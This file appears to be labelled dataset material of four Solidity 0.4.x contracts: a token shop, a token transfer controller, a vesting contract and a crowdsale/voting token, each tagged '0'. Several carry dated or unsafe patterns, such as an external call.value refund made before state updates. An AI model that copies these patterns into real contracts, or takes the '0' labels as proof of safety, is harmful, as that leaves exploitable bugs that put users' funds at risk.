pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Object is StandardToken, Ownable { string public name; string public symbol; uint8 public constant decimals = 18; bool public mintingFinished = false; event Burn(address indexed burner, uint value); event Mint(address indexed to, uint amount); event MintFinished(); modifier canMint() { require(!mintingFinished); _; } function Object(string _name, string _symbol) public { name = _name; symbol = _symbol; } function burn(uint _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } function mint(address _to, uint _amount) onlyOwner canMint public returns(bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns(bool) { mintingFinished = true; MintFinished(); return true; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value % (1 ether) == 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } } contract Shop is Ownable { using SafeMath for *; struct ShopSettings { address bank; uint32 startTime; uint32 endTime; uint fundsRaised; uint rate; uint price; } Object public object; ShopSettings public shopSettings; modifier onlyValidPurchase() { require(msg.value % shopSettings.price == 0); require((now >= shopSettings.startTime && now <= shopSettings.endTime) && msg.value != 0); _; } modifier whenClosed() { require(now > shopSettings.endTime); _; } modifier whenOpen() { require(now < shopSettings.endTime); _; } modifier onlyValidAddress(address _bank) { require(_bank != address(0)); _; } modifier onlyOne() { require(calculateTokens() == 1 ether); _; } modifier onlyBuyer(address _beneficiary) { require(_beneficiary == msg.sender); _; } event ShopClosed(uint32 date); event ObjectPurchase(address indexed purchaser, address indexed beneficiary, uint value, uint amount); function () external payable { buyObject(msg.sender); } function Shop(address _bank, string _name, string _symbol, uint _rate, uint32 _endTime) onlyValidAddress(_bank) public { require(_rate >= 0); require(_endTime > now); shopSettings = ShopSettings(_bank, uint32(now), _endTime, 0, _rate, 0); calculatePrice(); object = new Object(_name, _symbol); } function buyObject(address _beneficiary) onlyValidPurchase onlyBuyer(_beneficiary) onlyValidAddress(_beneficiary) public payable { uint numTokens = calculateTokens(); shopSettings.fundsRaised = shopSettings.fundsRaised.add(msg.value); object.mint(_beneficiary, numTokens); ObjectPurchase(msg.sender, _beneficiary, msg.value, numTokens); forwardFunds(); } function calculateTokens() internal returns(uint) { calculatePrice(); return msg.value.mul(1 ether).div(1 ether.mul(1 ether).div(shopSettings.rate)); } function calculatePrice() internal returns(uint) { shopSettings.price = (1 ether).mul(1 ether).div(shopSettings.rate); } function closeShop() onlyOwner whenOpen public { shopSettings.endTime = uint32(now); ShopClosed(uint32(now)); } function forwardFunds() internal { shopSettings.bank.transfer(msg.value); } } contract EnchantedShop is Shop { using SafeMath for *; mapping(address => uint) public balanceOwed; mapping(address => uint) public latestBalanceCheck; mapping(address => uint) public itemsOwned; mapping(address => uint) public excessEth; uint public itemReturn; uint public maxDebt; uint public runningDebt; uint public additionalDebt; uint public debtPaid; uint public constant devFee = 250; uint public originalPrice; uint public totalExcessEth; bool public lock; uint public unlockDate; event ShopDeployed(address wallet, uint rate, uint itemReturn, uint32 endTime); event PriceUpdate(uint price); event FundsMoved(uint amount); event SafeLocked(uint date); event StartedSafeUnlock(uint date); event WillWithdraw(uint amount); modifier onlyContributors { require(itemsOwned[msg.sender] > 0); _; } modifier onlyValidPurchase() { require(msg.value >= shopSettings.price); require((now >= shopSettings.startTime && now <= shopSettings.endTime) && msg.value != 0); _; } function EnchantedShop(address _bank, string _name, string _symbol, uint _rate, uint32 _endTime, uint _itemReturn) Shop(_bank, _name, _symbol, _rate, _endTime) public { require(_itemReturn == shopSettings.price.div(100)); itemReturn = _itemReturn; originalPrice = shopSettings.price; ShopDeployed(_bank, _rate, _itemReturn, _endTime); unlockDate = 0; lock = true; SafeLocked(now); } function calculateTokens() internal returns(uint) { calculatePrice(); return (1 ether); } function forwardFunds() internal { uint fee = shopSettings.price.mul(devFee).div(1000); uint supply = object.totalSupply(); if (msg.value > shopSettings.price) { excessEth[msg.sender] = excessEth[msg.sender].add(msg.value.sub(shopSettings.price)); totalExcessEth = totalExcessEth.add(msg.value.sub(shopSettings.price)); } shopSettings.bank.transfer(fee); itemsOwned[msg.sender] = itemsOwned[msg.sender].add(1 ether); uint earnings = (itemsOwned[msg.sender].div(1 ether).sub(1)).mul(supply.sub(latestBalanceCheck[msg.sender])).div(1 ether).mul(itemReturn); if (latestBalanceCheck[msg.sender] != 0) { balanceOwed[msg.sender] = balanceOwed[msg.sender].add(earnings); runningDebt = runningDebt.add(earnings); } latestBalanceCheck[msg.sender] = supply; maxDebt = maxDebt.add((supply.sub(1 ether)).div(1 ether).mul(itemReturn)); additionalDebt = maxDebt.sub(runningDebt).sub(debtPaid); if (additionalDebt < 0) { additionalDebt = 0; } if (supply.div(1 ether).mul(itemReturn).add(runningDebt).add(additionalDebt) > (this.balance.sub(totalExcessEth))) { shopSettings.rate = (1 ether).mul(1 ether).div(supply.div(1 ether).mul(itemReturn).mul(1000).div((uint(1000).sub(devFee)))); calculatePrice(); PriceUpdate(shopSettings.price); } } function claimFunds() onlyContributors public { uint latest = latestBalanceCheck[msg.sender]; uint supply = object.totalSupply(); uint balance = balanceOwed[msg.sender]; uint earnings = itemsOwned[msg.sender].div(1 ether).mul(supply.sub(latest)).div(1 ether).mul(itemReturn); uint excess = excessEth[msg.sender]; latestBalanceCheck[msg.sender] = supply; balanceOwed[msg.sender] = 0; excessEth[msg.sender] = 0; balance = balance.add(earnings); runningDebt = runningDebt.add(earnings); runningDebt = runningDebt.sub(balance); debtPaid = debtPaid.add(balance); balance = balance.add(excess); totalExcessEth = totalExcessEth.sub(excess); WillWithdraw(balance); require(balance > 0); msg.sender.transfer(balance); } function startUnlock() onlyOwner public { require(lock && now.sub(unlockDate) > 2 weeks); unlockDate = now + 2 weeks; lock = false; StartedSafeUnlock(now); } function emergencyWithdraw(uint amount, bool relock) onlyOwner public { require(!lock && now > unlockDate); shopSettings.bank.transfer(amount); if (relock) { lock = relock; SafeLocked(now); } } }
0
pragma solidity ^0.4.24; interface POUInterface { function totalStaked(address) external view returns(uint256); function numApplications(address) external view returns(uint256); } interface SaleInterface { function saleTokensPerUnit() external view returns(uint256); function extraTokensPerUnit() external view returns(uint256); function unitContributions(address) external view returns(uint256); function disbursementHandler() external view returns(address); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract TokenControllerI { function transferAllowed(address _from, address _to) external view returns (bool); } contract FoamTokenController is TokenControllerI, Ownable { using SafeMath for uint256; POUInterface public registry; POUInterface public signaling; SaleInterface public sale; SaleInterface public saft; uint256 public platformLaunchDate; uint256 public saleTokensPerUnit; uint256 public extraTokensPerUnit; mapping (address => bool) public isProtocolContract; mapping(address => address) public proposedPair; mapping(address => address) public pair; mapping(address => bool) public isBlacklisted; mapping(address => bool) public pouCompleted; event ProposeWhitelisted(address _whitelistor, address _whitelistee); event ConfirmWhitelisted(address _whitelistor, address _whitelistee); event PoUCompleted(address contributor, address secondAddress, bool isComplete); address acceptedAddress = 0x36A9b165ef64767230A7Aded71B04F0911bB1283; constructor(POUInterface _registry, POUInterface _signaling, SaleInterface _sale, SaleInterface _saft, uint256 _launchDate) public { require(_registry != address(0), "registry contract must have a valid address"); require(_signaling != address(0), "signaling contract must have a valid address"); require(_sale != address(0), "sale contract must have a valid address"); require(_saft != address(0), "saft contract must have a valid address"); require(_launchDate != 0 && _launchDate <= now, "platform cannot have launched in the future"); registry = _registry; signaling = _signaling; sale = _sale; saft = _saft; platformLaunchDate = _launchDate; isProtocolContract[address(registry)] = true; isProtocolContract[address(signaling)] = true; saleTokensPerUnit = sale.saleTokensPerUnit(); extraTokensPerUnit = sale.extraTokensPerUnit(); } function setWhitelisted(address _whitelisted) public { require(_whitelisted != 0, "cannot whitelist the zero address"); require(pair[msg.sender] == 0, "sender's address must not be paired yet"); require(pair[_whitelisted] == 0, "proposed whitelist address must not be paired yet"); require(sale.unitContributions(msg.sender) != 0, "sender must have purchased tokens during the sale"); require(sale.unitContributions(_whitelisted) == 0, "proposed whitelist address must not have purchased tokens during the sale"); proposedPair[msg.sender] = _whitelisted; emit ProposeWhitelisted(msg.sender, _whitelisted); } function confirmWhitelisted(address _whitelistor) public { require(pair[msg.sender] == 0, "sender's address must not be paired yet"); require(pair[_whitelistor] == 0, "whitelistor's address must not be paired yet"); require(proposedPair[_whitelistor] == msg.sender, "whitelistor's proposed address must be the sender"); pair[msg.sender] = _whitelistor; pair[_whitelistor] = msg.sender; emit ConfirmWhitelisted(_whitelistor, msg.sender); } function setAcceptedAddress(address _newAcceptedAddress) public onlyOwner { require(_newAcceptedAddress != address(0), "blacklist bypass address cannot be the zero address"); acceptedAddress = _newAcceptedAddress; } function pairAddresses(address[] froms, address[] tos) public onlyOwner { require(froms.length == tos.length, "pair arrays must be same size"); for (uint256 i = 0; i < froms.length; i++) { pair[froms[i]] = tos[i]; pair[tos[i]] = froms[i]; } } function blacklistAddresses(address[] _addresses, bool _isBlacklisted) public onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { isBlacklisted[_addresses[i]] = _isBlacklisted; } } function setPoUCompleted(address _user, bool _isCompleted) public onlyOwner { pouCompleted[_user] = _isCompleted; } function changeRegistry(POUInterface _newRegistry) public onlyOwner { require(_newRegistry != address(0), "registry contract must have a valid address"); isProtocolContract[address(registry)] = false; isProtocolContract[address(_newRegistry)] = true; registry = _newRegistry; } function changeSignaling(POUInterface _newSignaling) public onlyOwner { require(_newSignaling != address(0), "signaling contract must have a valid address"); isProtocolContract[address(signaling)] = false; isProtocolContract[address(_newSignaling)] = true; signaling = _newSignaling; } function setPlatformLaunchDate(uint256 _launchDate) public onlyOwner { require(_launchDate != 0 && _launchDate <= now, "platform cannot have launched in the future"); platformLaunchDate = _launchDate; } function setProtocolContract(address _contract, bool _isProtocolContract) public onlyOwner { isProtocolContract[_contract] = _isProtocolContract; } function setProtocolContracts(address[] _addresses, bool _isProtocolContract) public onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { isProtocolContract[_addresses[i]] = _isProtocolContract; } } function setSaleContract(SaleInterface _sale) public onlyOwner { require(_sale != address(0), "sale contract must have a valid address"); sale = _sale; } function setSaftContract(SaleInterface _saft) public onlyOwner { require(_saft != address(0), "saft contract must have a valid address"); saft = _saft; } function transferAllowed(address _from, address _to) external view returns (bool) { if(isBlacklisted[_from]) { return _to == acceptedAddress; } bool protocolTransfer = isProtocolContract[_from] || isProtocolContract[_to]; bool whitelistedTransfer = pair[_from] == _to && pair[_to] == _from; if (protocolTransfer || whitelistedTransfer || platformLaunchDate + 365 days <= now) { return true; } else if (platformLaunchDate + 45 days > now) { return false; } return purchaseCheck(_from); } function purchaseCheck(address _contributor) public returns (bool) { if(pouCompleted[_contributor]){ return true; } address secondAddress = pair[_contributor]; if(secondAddress != address(0) && pouCompleted[secondAddress]) { return true; } uint256 contributed = sale.unitContributions(_contributor).add(saft.unitContributions(_contributor)); if (contributed == 0) { if (secondAddress == 0) { return true; } else { contributed = sale.unitContributions(secondAddress).add(saft.unitContributions(secondAddress)); } } uint256 tokensStaked = registry.totalStaked(_contributor).add(signaling.totalStaked(_contributor)); uint256 PoICreated = registry.numApplications(_contributor).add(signaling.numApplications(_contributor)); if (secondAddress != 0) { tokensStaked = tokensStaked.add(registry.totalStaked(secondAddress)).add(signaling.totalStaked(secondAddress)); PoICreated = PoICreated.add(registry.numApplications(secondAddress)).add(signaling.numApplications(secondAddress)); } uint256 tokensBought = contributed.mul(saleTokensPerUnit.add(extraTokensPerUnit)); bool enoughStaked; if (contributed <= 10000) { enoughStaked = tokensStaked >= tokensBought.mul(25).div(100); } else { enoughStaked = tokensStaked >= tokensBought.mul(50).div(100); } bool isComplete = enoughStaked && PoICreated >= 10; if (isComplete == true) { pouCompleted[_contributor] = true; if (secondAddress != address(0)) { pouCompleted[secondAddress] = true; } emit PoUCompleted(_contributor, secondAddress, isComplete); } return isComplete; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); Released(unreleased); } function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); Revoked(); } function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } contract MetadiumVesting is TokenVesting { function MetadiumVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable) { } }
0
pragma solidity ^0.4.0; contract owned { address public owner; address public newOwner; function owned() payable { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender); _; } function changeOwner(address _owner) onlyOwner public { require(_owner != 0); newOwner = _owner; } function confirmOwner() public { require(newOwner == msg.sender); owner = newOwner; delete newOwner; } } contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract ManualMigration is owned, ERC20 { mapping (address => uint) internal balances; address public migrationHost; function ManualMigration(address _migrationHost) payable owned() { migrationHost = _migrationHost; } function migrateManual(address _tokensHolder) onlyOwner { require(migrationHost != 0); uint tokens = ERC20(migrationHost).balanceOf(_tokensHolder); tokens = tokens * 125 / 100; balances[_tokensHolder] = tokens; totalSupply += tokens; Transfer(migrationHost, _tokensHolder, tokens); } function sealManualMigration() onlyOwner { delete migrationHost; } } contract Crowdsale is ManualMigration { uint public etherPrice; address public crowdsaleOwner; uint public totalLimitUSD; uint public minimalSuccessUSD; uint public collectedUSD; enum State { Disabled, PreICO, CompletePreICO, Crowdsale, Enabled, Migration } event NewState(State state); State public state = State.Disabled; uint public crowdsaleStartTime; uint public crowdsaleFinishTime; modifier enabledState { require(state == State.Enabled); _; } modifier enabledOrMigrationState { require(state == State.Enabled || state == State.Migration); _; } struct Investor { uint amountTokens; uint amountWei; } mapping (address => Investor) public investors; mapping (uint => address) public investorsIter; uint public numberOfInvestors; function Crowdsale(address _migrationHost) payable ManualMigration(_migrationHost) { } function () payable { require(state == State.PreICO || state == State.Crowdsale); require(now < crowdsaleFinishTime); uint valueWei = msg.value; uint valueUSD = valueWei * etherPrice / 1000000000000000000; if (collectedUSD + valueUSD > totalLimitUSD) { valueUSD = totalLimitUSD - collectedUSD; valueWei = valueUSD * 1000000000000000000 / etherPrice; require(msg.sender.call.gas(3000000).value(msg.value - valueWei)()); collectedUSD = totalLimitUSD; } else { collectedUSD += valueUSD; } mintTokens(msg.sender, valueUSD, valueWei); } function depositUSD(address _who, uint _valueUSD) public onlyOwner { require(state == State.PreICO || state == State.Crowdsale); require(now < crowdsaleFinishTime); require(collectedUSD + _valueUSD <= totalLimitUSD); collectedUSD += _valueUSD; mintTokens(_who, _valueUSD, 0); } function mintTokens(address _who, uint _valueUSD, uint _valueWei) internal { uint tokensPerUSD = 100; if (state == State.PreICO) { if (now < crowdsaleStartTime + 1 days && _valueUSD >= 50000) { tokensPerUSD = 150; } else { tokensPerUSD = 125; } } else if (state == State.Crowdsale) { if (now < crowdsaleStartTime + 1 days) { tokensPerUSD = 115; } else if (now < crowdsaleStartTime + 1 weeks) { tokensPerUSD = 110; } } uint tokens = tokensPerUSD * _valueUSD; require(balances[_who] + tokens > balances[_who]); require(tokens > 0); Investor storage inv = investors[_who]; if (inv.amountTokens == 0) { investorsIter[numberOfInvestors++] = _who; } inv.amountTokens += tokens; inv.amountWei += _valueWei; balances[_who] += tokens; Transfer(this, _who, tokens); totalSupply += tokens; } function startTokensSale( address _crowdsaleOwner, uint _crowdsaleDurationDays, uint _totalLimitUSD, uint _minimalSuccessUSD, uint _etherPrice) public onlyOwner { require(state == State.Disabled || state == State.CompletePreICO); crowdsaleStartTime = now; crowdsaleOwner = _crowdsaleOwner; etherPrice = _etherPrice; delete numberOfInvestors; delete collectedUSD; crowdsaleFinishTime = now + _crowdsaleDurationDays * 1 days; totalLimitUSD = _totalLimitUSD; minimalSuccessUSD = _minimalSuccessUSD; if (state == State.Disabled) { state = State.PreICO; } else { state = State.Crowdsale; } NewState(state); } function timeToFinishTokensSale() public constant returns(uint t) { require(state == State.PreICO || state == State.Crowdsale); if (now > crowdsaleFinishTime) { t = 0; } else { t = crowdsaleFinishTime - now; } } function finishTokensSale(uint _investorsToProcess) public { require(state == State.PreICO || state == State.Crowdsale); require(now >= crowdsaleFinishTime || collectedUSD == totalLimitUSD || (collectedUSD >= minimalSuccessUSD && msg.sender == owner)); if (collectedUSD < minimalSuccessUSD) { while (_investorsToProcess > 0 && numberOfInvestors > 0) { address addr = investorsIter[--numberOfInvestors]; Investor memory inv = investors[addr]; balances[addr] -= inv.amountTokens; totalSupply -= inv.amountTokens; Transfer(addr, this, inv.amountTokens); --_investorsToProcess; delete investorsIter[numberOfInvestors]; } if (numberOfInvestors > 0) { return; } if (state == State.PreICO) { state = State.Disabled; } else { state = State.CompletePreICO; } } else { while (_investorsToProcess > 0 && numberOfInvestors > 0) { --numberOfInvestors; --_investorsToProcess; delete investors[investorsIter[numberOfInvestors]]; delete investorsIter[numberOfInvestors]; } if (numberOfInvestors > 0) { return; } if (state == State.PreICO) { require(crowdsaleOwner.call.gas(3000000).value(this.balance)()); state = State.CompletePreICO; } else { require(crowdsaleOwner.call.gas(3000000).value(minimalSuccessUSD * 1000000000000000000 / etherPrice)()); uint tokens = 3 * totalSupply / 7; balances[owner] = tokens; totalSupply += tokens; Transfer(this, owner, tokens); state = State.Enabled; } } NewState(state); } function withdrawBack() public { require(state == State.Disabled || state == State.CompletePreICO); uint value = investors[msg.sender].amountWei; if (value > 0) { delete investors[msg.sender]; require(msg.sender.call.gas(3000000).value(value)()); } } } contract Fund { function transferFund(address _to, uint _value); } contract Token is Crowdsale, Fund { string public standard = 'Token 0.1'; string public name = 'PROOF'; string public symbol = "PF"; uint8 public decimals = 0; mapping (address => mapping (address => uint)) public allowed; mapping (address => bool) public externalControllers; modifier onlyTokenHolders { require(balances[msg.sender] != 0); _; } modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier externalController { require(externalControllers[msg.sender]); _; } function Token(address _migrationHost) payable Crowdsale(_migrationHost) {} function balanceOf(address who) constant returns (uint) { return balances[who]; } function transfer(address _to, uint _value) public enabledState onlyPayloadSize(2 * 32) { require(balances[msg.sender] >= _value); require(balances[_to] + _value >= balances[_to]); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public enabledState onlyPayloadSize(3 * 32) { require(balances[_from] >= _value); require(balances[_to] + _value >= balances[_to]); require(allowed[_from][msg.sender] >= _value); balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) public enabledState { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant enabledState returns (uint remaining) { return allowed[_owner][_spender]; } function transferFund(address _to, uint _value) public externalController { require(balances[this] >= _value); require(balances[_to] + _value >= balances[_to]); balances[this] -= _value; balances[_to] += _value; Transfer(this, _to, _value); } } contract ProofVote is Token { function ProofVote(address _migrationHost) payable Token(_migrationHost) {} event VotingStarted(uint weiReqFund, VoteReason voteReason); event Voted(address indexed voter, bool inSupport); event VotingFinished(bool inSupport); enum Vote { NoVote, VoteYea, VoteNay } enum VoteReason { Nothing, ReqFund, Migration, UpdateContract } uint public weiReqFund; uint public votingDeadline; uint public numberOfVotes; uint public yea; uint public nay; VoteReason voteReason; mapping (address => Vote) public votes; mapping (uint => address) public votesIter; address public migrationAgent; address public migrationAgentCandidate; address public externalControllerCandidate; function startVoting(uint _weiReqFund) public enabledOrMigrationState onlyOwner { require(_weiReqFund > 0); internalStartVoting(_weiReqFund, VoteReason.ReqFund, 7); } function internalStartVoting(uint _weiReqFund, VoteReason _voteReason, uint _votingDurationDays) internal { require(voteReason == VoteReason.Nothing && _weiReqFund <= this.balance); weiReqFund = _weiReqFund; votingDeadline = now + _votingDurationDays * 1 days; voteReason = _voteReason; delete yea; delete nay; VotingStarted(_weiReqFund, _voteReason); } function votingInfo() public constant returns(uint _weiReqFund, uint _timeToFinish, VoteReason _voteReason) { _weiReqFund = weiReqFund; _voteReason = voteReason; if (votingDeadline <= now) { _timeToFinish = 0; } else { _timeToFinish = votingDeadline - now; } } function vote(bool _inSupport) public onlyTokenHolders returns (uint voteId) { require(voteReason != VoteReason.Nothing); require(votes[msg.sender] == Vote.NoVote); require(votingDeadline > now); voteId = numberOfVotes++; votesIter[voteId] = msg.sender; if (_inSupport) { votes[msg.sender] = Vote.VoteYea; } else { votes[msg.sender] = Vote.VoteNay; } Voted(msg.sender, _inSupport); return voteId; } function finishVoting(uint _votesToProcess) public returns (bool _inSupport) { require(voteReason != VoteReason.Nothing); require(now >= votingDeadline); while (_votesToProcess > 0 && numberOfVotes > 0) { address voter = votesIter[--numberOfVotes]; Vote v = votes[voter]; uint voteWeight = balances[voter]; if (v == Vote.VoteYea) { yea += voteWeight; } else if (v == Vote.VoteNay) { nay += voteWeight; } delete votes[voter]; delete votesIter[numberOfVotes]; --_votesToProcess; } if (numberOfVotes > 0) { _inSupport = false; return; } _inSupport = (yea > nay); uint weiForSend = weiReqFund; delete weiReqFund; delete votingDeadline; delete numberOfVotes; if (_inSupport) { if (voteReason == VoteReason.ReqFund) { require(owner.call.gas(3000000).value(weiForSend)()); } else if (voteReason == VoteReason.Migration) { migrationAgent = migrationAgentCandidate; require(migrationAgent.call.gas(3000000).value(this.balance)()); delete migrationAgentCandidate; state = State.Migration; } else if (voteReason == VoteReason.UpdateContract) { externalControllers[externalControllerCandidate] = true; delete externalControllerCandidate; } } delete voteReason; VotingFinished(_inSupport); } } contract MigrationAgent { function migrateFrom(address _from, uint _value); } contract TokenMigration is ProofVote { uint public totalMigrated; event Migrate(address indexed from, address indexed to, uint value); function TokenMigration(address _migrationHost) payable ProofVote(_migrationHost) {} function migrate() external { require(state == State.Migration); uint value = balances[msg.sender]; balances[msg.sender] -= value; Transfer(msg.sender, this, value); totalSupply -= value; totalMigrated += value; MigrationAgent(migrationAgent).migrateFrom(msg.sender, value); Migrate(msg.sender, migrationAgent, value); } function setMigrationAgent(address _agent) external onlyOwner { require(migrationAgent == 0 && _agent != 0); migrationAgentCandidate = _agent; internalStartVoting(0, VoteReason.Migration, 2); } } contract ProofFund is TokenMigration { function ProofFund(address _migrationHost) payable TokenMigration(_migrationHost) {} function addExternalController(address _externalControllerCandidate) public onlyOwner { require(_externalControllerCandidate != 0); externalControllerCandidate = _externalControllerCandidate; internalStartVoting(0, VoteReason.UpdateContract, 2); } function removeExternalController(address _externalController) public onlyOwner { delete externalControllers[_externalController]; } } contract ProofAbstract { function swypeCode(address _who) returns (uint16 _swype); function setHash(address _who, uint16 _swype, bytes32 _hash); } contract Proof is ProofFund { uint public priceInTokens; uint public teamFee; address public proofImpl; function Proof(address _migrationHost) payable ProofFund(_migrationHost) {} function setPrice(uint _priceInTokens) public onlyOwner { require(_priceInTokens >= 2); teamFee = _priceInTokens / 10; if (teamFee == 0) { teamFee = 1; } priceInTokens = _priceInTokens - teamFee; } function setProofImpl(address _proofImpl) public onlyOwner { proofImpl = _proofImpl; } function swypeCode() public returns (uint16 _swype) { require(proofImpl != 0); _swype = ProofAbstract(proofImpl).swypeCode(msg.sender); } function setHash(uint16 _swype, bytes32 _hash) public { require(proofImpl != 0); transfer(owner, teamFee); transfer(this, priceInTokens); ProofAbstract(proofImpl).setHash(msg.sender, _swype, _hash); } }
0
